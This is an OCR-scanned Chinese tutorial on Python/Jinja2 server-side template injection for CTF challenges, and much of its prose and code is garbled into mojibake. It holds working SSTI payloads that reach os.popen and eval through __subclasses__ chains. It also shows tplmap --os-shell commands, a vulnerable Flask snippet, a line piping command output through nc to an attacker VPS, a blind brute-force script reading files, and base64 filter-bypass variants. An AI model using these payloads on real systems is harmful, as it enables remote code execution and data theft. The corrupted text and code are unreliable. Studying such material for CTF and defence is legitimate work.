<class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>,
<class 'email. policybase._ PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class
"email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class
'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class

' _ssl. SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class
'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class
'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class ‘'click.utils.PacifyFlushWrapper'>,
<class ‘'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class
'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class ‘'click.formatting.HelpFormatter'>,
<class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class
'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class
'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class
'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class
'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class
'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class
'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class
'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class
'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>,
<class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class
'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class
'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class
'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class
'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class
'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class
'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class
'werkzeug.wrappers.base_response.BaseResponse'>, <class

'werkzeus . wranners.common descrintors.CommonReaniestDescrintorsMixin's. <class
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'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class
'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class
'werkzeug.wrappers.cors.CORSRequestMixin'>, <class ‘'werkzeug.wrappers.cors.CORSResponseMixin'>, <class
'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class
'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class
'werkzeug.wrappers.response.ResponseStream’'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>,
<class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>,
<class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class
'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class
'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class
"hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class
'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class
'flask._compat._ DeprecatedBool'>, <class 'werkzeug.local.lLocal'>, <class 'werkzeug.local.LocalStack'>,
<class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class
'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class
'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class
'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class
'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class
'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class
'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>,
<class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'flask.signals.Namespace'>, <class
'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class
'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>,
<class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>,
<class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class
'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class
'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class
"flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class
'jinja2.ext._CommentFinder'>, <class 'unicodedata.ucD'>"

sub=sub.split(",")

# print(sub)

for i,item in enumerate(sub):

if "os." in item:

print(i,item)

H#itH: 127 <class 'os._wrap_close'>

3 payload
?password={{"".__class__._bases_ [@].__subclasses_ ()[127].__init__. globals_ ['popen']('ls').read()}}
#Kflag
password={{"".__class__._bases_ [0]._ subclasses_ ()[127].__init__. globals_ ['popen']('grep -r "book"
app').read()}}

4 payload
?password={% for c in [].__class__ ._base_ ._ subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{
c.__init_ ._globals_ ['_builtins__ '].eval("__import_ ('os').popen('ls').read()") }}{% endif %}{% endfor %}

Stplmap


https://github.com/epinna/tplmap

PR B FAETEN:

python2 tplmap.py -u http://192.168.190.128:8000/?password=*

WATIR S

python2 tplmap.py -u http://192.168.190.128:8000/?password=* --os-cmd “1ls”
& [Eshell

python2 tplmap.py -u http://192.168.190.128:8000/?password=* --os-shell
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from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name_ )
@app.route('/test’',methods=["'GET', 'POST'])
def test():
template = '’
<div class="center-content error">
<h1>00ps! That page doesn't exist.</hl>
<h3>%s</h3>
</div>
' %(request.url)
return render_template_string(template)
if _name__ == '_main__':
app.debug = True
app.run()
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Engine Language Burp ZAP  tplmap ds::e ::::: : port tags
jinjaz Python v J J J/ J 5000  {{%sh)
Mako Python v vy v v v 5001  ${%s}
Tornado Python v J v v v 5002  {{%6s})
Django Python v ¥ % v 3 5003 {{n
{code eval) Python - v 5004 na
{code exec) Python - - = v = 5005 na
Smarty PHP v J o~ v v 5020  {%s}
::2;:{ (secure PHP v v | - y x 5021 (3¢s}
Twig PHP v v i~ v ® 3022 {{%es}}
{code eval) PHE - 5023 na
FreeMarker Java v v v v 5051 <#%s5 > ${%s)
Velocity Java v W v v V 5052  #set(Sx=1+1)%{x}
Thymeleaf Java x V' X v X 5053
Groovy* Java * % x %
jade Java x x x X
jade Nodejs + V v v 5061  #{%s}
Nunjucks JavaScript v J v v v 5062 {{96s]}
doT JavasScript = v W v v 5063  {{=%s}}
Marko Javascript X X x ®
Dust JavaScript = v o~ v *® 5065  {#%sjor{Sesjor{@%s}
EIS JavaScript | v v Vf v v 5066 <%= %>
{code eval) JavaScript - - = v 5067 na
vuejs Javascript v J o~ v v 5068  {{%6s})
Slim Ruby x V X v v 5080  #{%s}
ERB Ruby v v v v v 5081 <%="9%5%>
{code eval) Ruby = = = iy = 5082 na
go go x vy X v D na
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C:\Users\TPH\Desktop>python3 _

Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMDé4)] on win32
Type help , "copyright”, "credits” or "license" for more information.

>>> dir(

: _anﬁotations__'. ' builtins_ ', ' doc_ ', ' loader ', ' name_ ', ' package ', ' spec_ ']

Z25 (www.anquanke.com )

XETHE, RAATUER builtins  REBOIBRIVIIHEIRMIE, W2MAdir()#49FEF _ builtins_ K
o

\TPH> pythonS
Pyth01 h.b 4 (v3. 6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v. 1900 64 bit (AMD64)] on win32
he\p , "copyright", "credits" or "license" for more information
>>> dir( bu\\t\n”
[ Arlthmet\cE AssertionError', 'AttributeError', 'BaseException’, 'BlockinglOError', 'BrokenPipeError', 'BufferEr
ror’, Byte,Warn\ng" 'ChildProce rror', 'GConnectionAbortedError', 'GonnectionError', 'ConnectionRefusedError', 'Conne
ctionResetError’', 'DeprecationWarni "EOFError', 'Ellipsis "EnvironmentError', 'Exception', 'False', 'FileExistsErr
or', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning 'GeneratorExit', 'I0Error', 'ImportError', 'ImportWarni
', "IndentationError’', 'IndexError', 'InterruptedError’', 'IsADirectoryError’', 'KeyError', 'KeyboardInterrupt', 'Lookup
'MemoryError’', 'McduIeNGtFGuderro ', 'NameError', 'None', 'NotADirectoryError', 'Notlmplemented', 'NotlImplement
'"0SError', 'OverflowError', Pend\n“Dep ecatlcnharnln"', 'PermissionError', 'ProcesslLookupError', 'RecursionEr
ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsynclteration’', 'Stoplteration', 'Syn
taxEllG , 'SyntaxWarni 'Sy,temElro ', Sy,temEx|t 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalE
rr , Un\ccdeDeccdeEr UnlccdeEﬁcheE Pl UnlccdeErrcr , 'UnicodeTrans ateElrcr , 'UnicodeWarning', 'UserWarni
'ValueError', 'Warning', W , 'ZeroDivisionError', '_ build_cl , '_debug_ ', ' doc__', '__import_|

__loader__ ", ' _name__ ', 2 , Spec_ ', ‘'abs', ‘'all', 'any', cii', 'bin', 'bool', 'bytearray', 'byte
'ca\\ab\e" 'chr', cla::method , comp\\e , complex'. 'copyright', 'credits', 'delattr', 'dict', 'dir’, 'divmcd'
‘enumerate’, ‘eval’', ‘exec’, ‘'exit’, 'filter’, 'float’, 'format’, 'frozenset', 'getattr’, 'globals’, 'hasattr "hash’
'help', 'hex' id', "input', 'int', "isinstance', ' ibe | , '(ter" '\en" "license', 'list', ' 3 , map
', 'memoryview', m\n‘. 'next’, 'object’, 'oct', 'open’, 'o , 'pow', 'print', 'property', 'quit', 'range', 'repr
rsed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', '"tr . "sum’, "super', 'tuple', 'type', 'vars
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C:\Users\TPH>python3 i
Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMD64)] on win32
Type "help”, "copyright"”, "credits" or "license” for more information

len('hello")

#2422 (www.anquanke.com )

i 1] F
BHEE R, AT EEimport @ AR, XEHAE K L# R pythonf R8s F A BATME#E £ T K.

K4k &

pythonHxf — A2 8 M f class 75 ik N — MR B LI BN NN RKRB G, REUT=MRTHRARRIITIE

__base_ //XBRHB—AEE, —BIERTRobject, ANAR, XHFEMHT—AHE
_mro__ //FIFERTCAIRECT REIERE, HRXNSERHBENMSAENRLR, B—IFIR, objectEREEMESIRFIIBSGE, Eid__m

__subclasses_ () //#AMWNRAFE, BE—FIER

AHIXERYAK T L, BITMATUMNEM—ANZE, BEHEIER L, FREBILERFTELIAE, AT

R ER 2 B2

BEAR o6 3

RENAIANE R EARRE, BT 5K B

o dict_ KRKHESERE. RKEH. HERY. 2RZEUL-SNENEEARBAERK_ dict_ BERXRE_ dict
T T —Leself oo — LR FE A B BEERAIRAE _ dict BHEESNEFACK__dict BH, MEFESERR, R
R dict  HAXHWTFER_ dict WRBHFADK_ dict @M, FhhselloxFR, KFEMRAM_ dict__

* globals_ ZEMRRERAKEME ICRLI LR EENE MR CHEM Tos. sysSE BN AR H

GO EA R E EAR SR, BARNBAT LA Fglobals BV & RKNEE. ZERHGREFNRERHERERNT
#5IH.

* getattribute ()%l K. REHFEREN  getattribute FARFE. FL L, ELBULIIN RELT . BIE

BIBHE EM0: a.xxx/a.xxx()) , #EENERWA  getattribute Fik. FMBRAIEETT LEE@ET XA T
ERIRELBISLE . K. BB .

rR—4): Hikgetattribute 5 getattr
FI A 75 ¥k

MR BRI KRR AR, RATTUBLEH—MRAT R GXBRpythonyb & 1 HIXE) « NERE->X
B->HR>TRB->EREE XMRES, REBATEERBEHREE K.

Wr R RA i R ? RE AL R
WA B 7E python¥ R 35 T, A H 4% F openifi K31 FF — A~ X442
XEZHARMNEENMER TS, MEBE—NZEFRIWRIER, B RIREELSLIM ST LR,

// python2

>>> ''.__class__

<type 'str'>

>>> ''.__class__.__mro


https://p0.ssl.qhimg.com/t01a33dba298575ec3b.png
https://blog.csdn.net/qq_41359051/article/details/82930939

(<type "str'>, <type "basestring’'>, <type "object’'>)
>>> "'._class__._mro__[-1].__subclasses_ ()
[<type "type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'base

[/ ERRRA A, RIV%E—T

>>> for i in enumerate(''.__class__ . mro__ [-1]._ subclasses_ ()): print i

(0, <type 'type'>)

(1, <type 'weakref'>)

(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)

(4, <type 'int'>)

(5, <type 'basestring'>)

(6, <type 'bytearray'>)

(7, <type 'list'>)

(8, <type 'NoneType'>)

(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)

(11, <type 'super'>)

(12, <type 'xrange'>)

(13, <type 'dict'>)

(14, <type 'set'>)

(15, <type 'slice'>)

(16, <type 'staticmethod'>)

(17, <type 'complex'>)

(18, <type 'float'>)

(19, <type 'buffer'>)

(20, <type 'long'>)

(21, <type 'frozenset'>)

(22, <type 'property'>)

(23, <type 'memoryview'>)

(24, <type 'tuple'>)

(25, <type 'enumerate'>)

(26, <type 'reversed'>)

(27, <type 'code'>)

(28, <type 'frame'>)

(29, <type 'builtin_function_or_method"'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)

(32, <type 'classobj'>)

(33, <type 'dictproxy'>)

(34, <type 'generator'>)

(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)

(38, <type 'ellipsis'>)

(39, <type 'member_descriptor'>)
(40, <type 'file'>)

(41, <type 'PyCapsule'>)

(42, <type 'cell'>)

(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)

(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)

(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)

(52, <type 'sys.getwindowsversion'>)



(53, <type 'exceptions.BaseException'>)
(54, <type 'module'>)

(55, <type 'imp.NullImporter'>)

(56, <type 'zipimport.zipimporter'>)

(57, <type 'nt.stat_result'>)

(58, <type 'nt.statvfs_result'>)

(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>)
(61, <class '_weakrefset. IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)

(63, <class '_abcoll.Hashable'>)

(64, <type 'classmethod'>)

(65, <class '_abcoll.Iterable'>)

(66, <class '_abcoll.Sized'>)

(67, <class '_abcoll.Container'>)

(68, <class '_abcoll.Callable'>)

(69, <type 'dict_keys'>)

(70, <type 'dict_items'>)

(71, <type 'dict_values'>)

(72, <class 'site. Printer'>)

(73, <class 'site. Helper'>)

(74, <type '_sre.SRE_Pattern'>)

(75, <type '_sre.SRE_Match'>)

(76, <type '_sre.SRE_Scanner'>)

(77, <class 'site.Quitter'>)

(78, <class 'codecs.IncrementalEncoder'>)
(79, <class 'codecs.IncrementalDecoder'>)
(80, <type 'operator.itemgetter'>)

(81, <type 'operator.attrgetter'>)

(82, <type 'operator.methodcaller'>)

(83, <type 'functools.partial'>)

(84, <type 'MultibyteCodec'>)

(85, <type 'MultibyteIncrementalEncoder'>)
(86, <type 'MultibyteIncrementalDecoder'>)
(87, <type 'MultibyteStreamReader'>)

(88, <type 'MultibyteStreamWriter'>)

//FTURIER S 5 h40tmfileds, HhREFEopeniik

>>> "', _class__._mro__[-1].__subclasses__ ()[40]("C:/Users/TPH/Desktop/test.txt").read()
'This is a test!’

7 —TF: python23%Ffile N4

file(name[, mode], buffering] K
Constructor function for the file type, described further in section File Objects. The constructor’ s arguments are the same as those of the open() built-in
function described below.

When opening a file, it' s preferable to use open() instead of invoking this constructor dir,

isinstance(f, file)).

tly. file is more suited to type testing (for example, writing

New in version 2.2. % Elopne O

0x02 F FH 75 =,
BE—ANSSTIFE, Zif FF? REEFEUTHMERE, BENA—T, FEEFHLE.
o EMEE M


https://p3.ssl.qhimg.com/t01d9c0f9b077bcec4a.png

o APUT (HSEEtRVW EREISE B KA AT O
==

HarREREXH? BATEAIE—pythontEZE, thiniiflask, EERFHNE T —LE/EE, NR, RYF
%o BRATTUERV RBR A . XEZRAIERE 2845

easy_tornado

XA EH RIEBRIEN G — AN K% SE Thandler.settings. XA & TornadolEE A &R ATEF R A
PRI Uy e] I TC B SN Sz — . 43 E U7 SO AT BLUk Blhandler.settings S48 1] R 2
RequestHandler.application.settings, EP ] AZREX X fjapplication.settings, M H3REUEIBURE B .

shrine
EANEEEEAY THEWY, flaghiB N T R E X4+

app.config['FLAG'] = os.environ.pop ('FLAG")

[FIFE7E SRR Y FlaskiE4e r, FRATTT L& P9 B i confight R BBV M MR BEE . AEERET
WAF, FHABEEVI{{(config) ) BARENHMARTEHRT LT XMEBRERE, JTHEBK, &
KB AL — T

BE—TRXREH, NTABEER, BAINMZ:

75 [ A SRR ZR () 3 AS

EMdirWE Llocal s EREFE A B AE A IR LT 32
fEAdInRA B FTAX &

HEDPTHESR IR

iX B R B —A42018TWCTF-Shrinefjwriteup, P& requestst KB F: 15147
ps: i 5 R EZH L B iE B ZBUUCTF
i & AT

wRHAT, HEMERMHRMNNBRY &R HKERIE. EpythonIF T, BTESSTIRAER, BlJinja2hfl, 7
ERENESE () EENANEIMBRERTESR, £ BFEPRIEA ', class . mro_ [-
1]. subclasses () [40] 3 payloadth BEW 1 SE AT T J5 45 SR 775 B B i b I B A A & o

'(—' C @ ® =" emelin 3 " _class . mro_[-1]. subclasses ()[40}
L-EI'_"T '-r'-H-l'I I !—_-L!'_ ]_-.- :--._-M _'-F'
<type 'file'>

L] LI k

0x03 python¥F 5% & H fis & P47 5 X


https://tornado.readthedocs.io/en/latest/guide/templates.html#template-syntax
https://ctftime.org/writeup/10851
https://buuoj.cn/
https://p3.ssl.qhimg.com/t0100f632d9883e68d2.png

BIHERE] T o SAT, MAE BET @E— T pythonFF 3 T8 FH K dr & #4775 Ko
os.system()
Fi¥%: os.system(command)

RNMAAMSER, BRADHITH, BFREEEIERERE. REERKBT RSN, HZRERAKHE
R [ElE .

EE: ZRBOREGSWATERAREE, FHFAREREGSHITHE ATERIIREO, RBGRE-1)
K Flinux T os.system( )ik [E] 18 i B

(&) C @ l ® _ewlell w e (", class . mro_[-1]._subclasses ()[71]._init . globals_['os.system(ls")}} v
L I R R . Mol B g e, . P ETaem

0

< | 1 v

AT AE BIPAT R S R A BB, XA IR AT A B TE B BB ? J5 3R T !

os.popen()
Fi¥:: os.popen(command[,mode[,bufsize]])
YiB: mode — BXMRAT LR T'(BRIN) BL ‘W

popen 7 i%idEidp.read()IREX & i i, 11 H.popen 2k i close(). 44T B IhBY, close() AR EMEMME, KK
i, close()iR B RZREIME (KRBERE1) . A W'EIKREUR B K 77 R Alos.system A ] .

[ (— ‘ c @ @ _". class . mro [-1]. subclasses ()[71]. init . globals ['os'|.popen(ls' 'r').read(}}} ]
E'- T . O T R W B el ST 2T l
app-py app-pyc error.html

4| i D

A LLE B AT Hread() T AL R E & .

subprocess

subprocess HHA LR Z 1 TNEE, subprocesstE g HEE F R & #h— B R MK $L, W: os.system.

0s.spawn. 0s.popenk

subprocesstE H IR B — N FHNH BRI S5 @8E . XBE R REITshelldr & KBNS H 7%,
subprocess.call(“command”)

SRR A T AR 58 )

iR 5138 15 B (returncode, #H2%4FLinux exit code)

os.systemZh e AH UL, . To AT 45 SR 1 5] 2

subprocess.Popen(“command”)


https://blog.csdn.net/lwgkzl/article/details/81060016
https://p3.ssl.qhimg.com/t01497dac2fdbf6c74f.png
https://p5.ssl.qhimg.com/t01a26820c5be0a5c2b.png

PHH: class subprocess.Popen (args, bufsize=0, executable=None, stdin=None,
stdout=None, stderr=None, preexec fn=None, close fds=False, shell=False,

cwd=None, env=None, universal newlines=False, startupinfo=None, creationflags=0)

PopendE#38 K, XREZMSHEMNERX, BT HMERLTUE B RELSH. [HPopen Hfr £ BRI 7E
T, ER—AMEENTGTE, WRETomd &M~ AEAREEL, REMMAESME. 55— K, PopenkiithA
LATE H emd AT R B .

0x04 4 % 3 7] 7 F payload

BRAYIEAMSSTIK M k&0 — A E 2 B4, B2 7 EME#SSTIRpayload, RF—MNEE, B%E@RE
(x) . RMBAEEHRE B CMFFH—AF s HpythonIF BEARE, FreeB AR BEZR, WEAR
ERANIFEE, PARRERAEERETHR T . KEBRIRYIE T KELE.

L BRATEE — AN AT ir 2 Wpayload, @& ? 1R B EATR FEH ostEH /T os.systemBfi A]

python2
#python2
num = @
for item in ''.__class_ .__mro_ [-1]._ subclasses_ ():
try:
if 'os' in item.__init_ . globals_ :
print num,item
num+=1
except:
num+=1

#72 <class 'site._Printer'>
#77 <class 'site.Quitter'>

payload

''. class . mro_ [2]. subclasses ()

[72]. dinit . globals ['os'].system('ls"')

[l]. class . Dbase . subclasses ()

[72]. dinit . globals ['os'].popen('ls'").read()

7 B R R IV i ostE IR H Mwarnings.catchwamingsHA F 49, i - MEG 5 67 F 7628 #1959, 60
SIE.  init  FIEHTRHRNRELOME, FX1EETEANTH UL funcglobals (2 globals’) &i%
BT AW globalsEi $t GERIREIMRFH) , Tlinecachedl i FiBUER — /M XHRIE—1T, MiXEE
5 T ostiitk,

T RIEF] LAIZHE 22Kl payload (v Epayload# A2 EEERK, ARMEF BT

[]. class . Dbase . subclasses ()
[59]. dinit . globals ['linecache']. dict ['os'].system('ls')
[]. class . Dbase . subclasses ()

[59]. init .func globals['linecache']. dict .values()[12].system('ls")



B AR T A5E T linecache. osH] LAZREX Zl iy & AT IR LASL, BATHIEIEIRE] T —4_ builtins_ WEK

%, TEpythonff Py B H0H AT AT LAIREL S teval F AT SR . TRBAIT USRS —THA, &F
python2i&F #f tpayload v LLH :

#HA—TXKF builtin M builtins  MIXH: F£i%[]

num = @
for item in ''.__class__.__mro_ [-1]._ subclasses_ ():
#print item
try:
if item.__init__. globals__.keys():

if '__builtins__ ' in item.__init__._globals__ .keys():
print(num,item,' builtins__ ')

if ‘'os' in item.__init . globals__ .keys():
print(num,item, 'os")

if ‘'linecache' in item.__init . globals__ .keys():
print(num,item, 'linechache")

num+=1
except:
num+=1

SR

(59, <class ‘'warnings.WarningMessage'>, '__ builtins__ ')
(59, <class ‘'warnings.WarningMessage'>, 'linechache')
(60, <class 'warnings.catch_warnings'>, '__builtins__ ')
(60, <class 'warnings.catch_warnings'>, 'linechache')
(61, <class '_weakrefset. IterationGuard'>, '__builtins__ ')
(62, <class '_weakrefset.WeakSet'>, ' _builtins__ ")

(72, <class 'site._Printer'>, ' _builtins__ ')

(72, <class 'site._Printer'>, 'os')

(77, <class 'site.Quitter'>, ' builtins__ ")

(77, <class 'site.Quitter'>, 'os')

(78, <class 'codecs.IncrementalEncoder'>, ' builtins__ ")
(79, <class 'codecs.IncrementalDecoder'>, ' builtins__ ")

AT LB BIfE X L R @ W LB R BRI B & /TR EK, (REHEALRRNBER/ZENE, TUE
ITEER—T) BRIV URGI BINERE . E£NEREF T DR FER Himport 2 N E. eval N ERAT A
LEEERE, XBEMBESRBMBTT. (RMERHEMCTFRYEREEE? EEMNERBEESHEE,
XA B TR B S PR Bypass#: )

python3

python3fipython2 F & & — K, RAIHBEENAE SR, Hinpython2 T HfileifEpython3 F 2L E T,
FrUlR E#FHopen. T HAER RIS Fpython3WRIHEERSIETFT builtins , RETERIN
A AR A feval. openFERPUTRATEENE/E. XESER T —MBEMA (BAIBER, HABxEE.D

def search(obj, max_depth):

visited_clss
visited_objs

(]
(]

def visit(obij, path='obj', depth=0):


https://www.cnblogs.com/Ladylittleleaf/p/10240096.html

yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited clss:
return
visited_clss.append(obj)
#print(obj) Enumerates the objects traversed

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):

try:

attr = getattr(obj, name)
except:

continue

yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

num = ©
for item in ''.__class__.__mro__[-1].__subclasses_ ():
try:
if item.__init__. globals__.keys():
for path, obj in search(item,5):
if obj in ('__builtins__ ','os','eval'):
print('[+] ',item,num,path)
num+=1
except:
num+=1

PS: python2& A B hiE. B EEEpython3 FHAT. X python3HI Al #) H payloadi# 47 i .



ZHAHATE, payloadhaeEEM, EWHETM KBS , objE T, FstpyhontiiT a4 1175 RiEcH
subprocess. command%5, FRIA R4 H T =R RB0N B .

A Roulitins UGIERSHASERANRIT (LR T naneFRBMMRFRBEME) , FEITERFERER
payloadBJ A

FEHE IR, 2985 £ payload?

M2, RERBEE—NEE, FLEAGMIETTHR? FXEHIEE T G172 L0, W LUREERZ
BEXRTUWITRAIEWHI ZR . 7 B EHIAAERER A -

AL FEN 0 F L. Ja X R HUR S B B — L ) B

0x05 7t [=] & 4k ¥
e nciEk
® VpsS: nc -lvp 44444
e payload: ''. class_ . mro_ [2]. subclasses_ ()
[72]. init . globals ['os'].system('ls | nc xx.xxx.xx.xx 44444")
&« c @ (@ __mro_[2]._subclasses_()[71]._init_. globals_['0s'].system('1s%20 | nc 4 "Wl "m &5 44444} v B2 eee
bt LFTLE. [ LETr i POl Fle W - TERAL, TRTEC N O] -l F WL B L R )
0
o L F
#vpsEWEIE &

root@iZwz9lvrssa/zn3rzmh3cuZ:~# nc -lvp 44444

Listening on [0.0.0.0] (family @, port 44444)

Connection from [xx.xXxx.xx.xx] port 44444 [tcp/*] accepted (family 2, sport 46258)
app.py

app.pyc

error.html

o WMRH—R—KFERRKEFRBTUEEBEER AT shell, (R¥EshellfIEEM Eh—KHfE, XERAZERT,
" L& hitps://github.com/0xR0/shellver)

dnslog# &

e curl "whoami X000
o 5 T5HDNSlogstILTE B EiEA

B ST My ST A P R E
o XNMBIBIGFEMRE, £5FsystemTEE, EEHITIs > a.txt, FHHopenikiriZiX

curl_F4& 304
o XANMHEERFLRRY, FIMEEE LWAN, EX—TRETFSEMART .
o LRI EARLHAT R &

EYE{% if ''. class . mro [2]. subclasses () [40] (' /tmp/test') .read () [0:1]=="p"'

$)~p0~{3% endif %}HMBSQLAI/RIEN, BILREEZ~pO~KABENRTRI. W LEIE WA T:


https://p0.ssl.qhimg.com/t019b4274c5b54748c4.png
https://github.com/iZwz91vrssa7zn3rzmh3cuZ
https://github.com/0xR0/shellver%25EF%25BC%2589
https://www.cnblogs.com/afanti/p/8047530.html
http://admintony.com/%25E6%2597%25A0%25E5%259B%259E%25E6%2598%25BE%25E4%25BB%25A3%25E7%25A0%2581%25E6%2589%25A7%25E8%25A1%258C%25E5%2588%25A9%25E7%2594%25A8%25E6%2596%25B9%25E6%25B3%2595.html

import requests
url = 'http://127.0.0.1:8080/"'

def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
~pO~"' in r

return
password = "'
s = r'e123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWNXYZ!"$" ()*+,-./:;<=>2@[\]* {|}~""_%"

for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2]._ subclasses__ ()[40]("/tmp/test").read()[ +str(i)+": "+str(
if check(payload):
password += ¢
break
print password

0x06 Bypass

X EIEF— T % WLibypass B #%

i3

object. subclasses ()

[59]. dinit .func globals['linecache']. dict ['o'+'s']. dict ['sy'+'stem']
('1s")

(). class . bases [0]. subclasses () [40]('r',"'fla'+'g.txt")) .read()

g

(). class . Dbases [0]. subclasses ()

[59]. dinit . globals . builtins ['eval']

(" dimport ('os').popen('ls').read()")

EFhT
(). class . bases [0]. subclasses ()
[59]. dinit . globals . Dbuiltins ['ZXZhbA=='.decode ('baset64d")]

("X19pbXBvcnREXygnb3MnKS5wb3BlbignbHMnKSS5yZWFkKCk="".decode ('base64 ")) (A LAF HEHEXX
515 N R AT LAgRAD)

5 A ] A ATrot13. 163EH| gmig s
HEPFES

getitem()



""._class__._mro__[2]
""._class__._mro__._ getitem_ (2)

pop()

''". class . mro . getitem (2). subclasses_ () .pop(40)

('"/etc/passwd') .read ()

TR

__builtins_ ['eval']()
__builtins__.eval()

238 P RRX b 75 L TE python B2 AN BE AT, (ERAETI AR B 3188 T W BLiAT

